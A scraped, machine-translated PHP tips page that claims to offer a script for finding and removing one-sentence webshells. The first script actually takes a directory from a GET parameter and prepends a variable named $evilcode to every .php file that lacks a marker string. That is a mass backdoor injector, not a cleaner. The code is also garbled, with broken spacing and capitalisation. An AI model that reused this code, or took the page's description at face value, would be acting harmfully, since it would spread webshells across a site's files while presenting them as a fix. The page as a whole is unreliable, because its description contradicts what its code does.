Code _ php tips for batch query and clearing one-sentence webshells using php

Source: Internet
Author: User
Tags rewind
A single backdoor is generally simple, and it is easy to hide, causing great harm and trouble in searching. Today, I found this Xall. php code for batch query and elimination of a single-sentence backdoor. you can save a lot of trouble and always forget which file to put a single sentence in, so you can simply get rid of it all...

The code is as follows:


If (! Isset ($ dir) or empty ($ dir )){
$ Dir = str_replace ('\', '/', dirname (_ FILE __));
Echo "". $ dir ."";
} Else {
$ Dir = $ _ GET ['dir'];
Echo "". $ dir ."";
}
$ Evilcode =" ";
$ Testdir = opendir ($ dir );
While ($ filea = @ readdir ($ testdir )){
If (strstr ($ filea, '. php ')){
$ Fp = @ fopen ($ filea, 'R + ');
If (! Strstr (@ fread ($ fp, 20), 'xy7 ')){
Rewind ($ fp );
$ Old = @ fread ($ fp, filesize ($ filea ));
Rewind ($ fp );
Fwrite ($ fp, $ evilcode. $ old );
}
Fclose ($ fp );
}
}
Closedir ($ testdir );
?>
























$ Dirs = @ opendir ($ dir );While ($ file = @ readdir ($ dirs )){If (is_file ($ file) and (ereg ("\. php {0, 1} $", $ file ))){$ B = "$ dir/$ file ";$ A = @ is_dir ($ B );If ($ a = "0 "){$ Size = @ filesize ("$ dir/$ file ");$ Lastsave = @ date ("Y-n-d H: I: s", filectime ("$ dir/$ file "));Echo" \ N ";Echo" \ N ";Echo" \ N ";Echo" \ N ";}}}@ Closedir ($ dirs );?>
File X Time Size
$ File$ Lastsave$ Size Bytes

Codz by xuanmumu

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.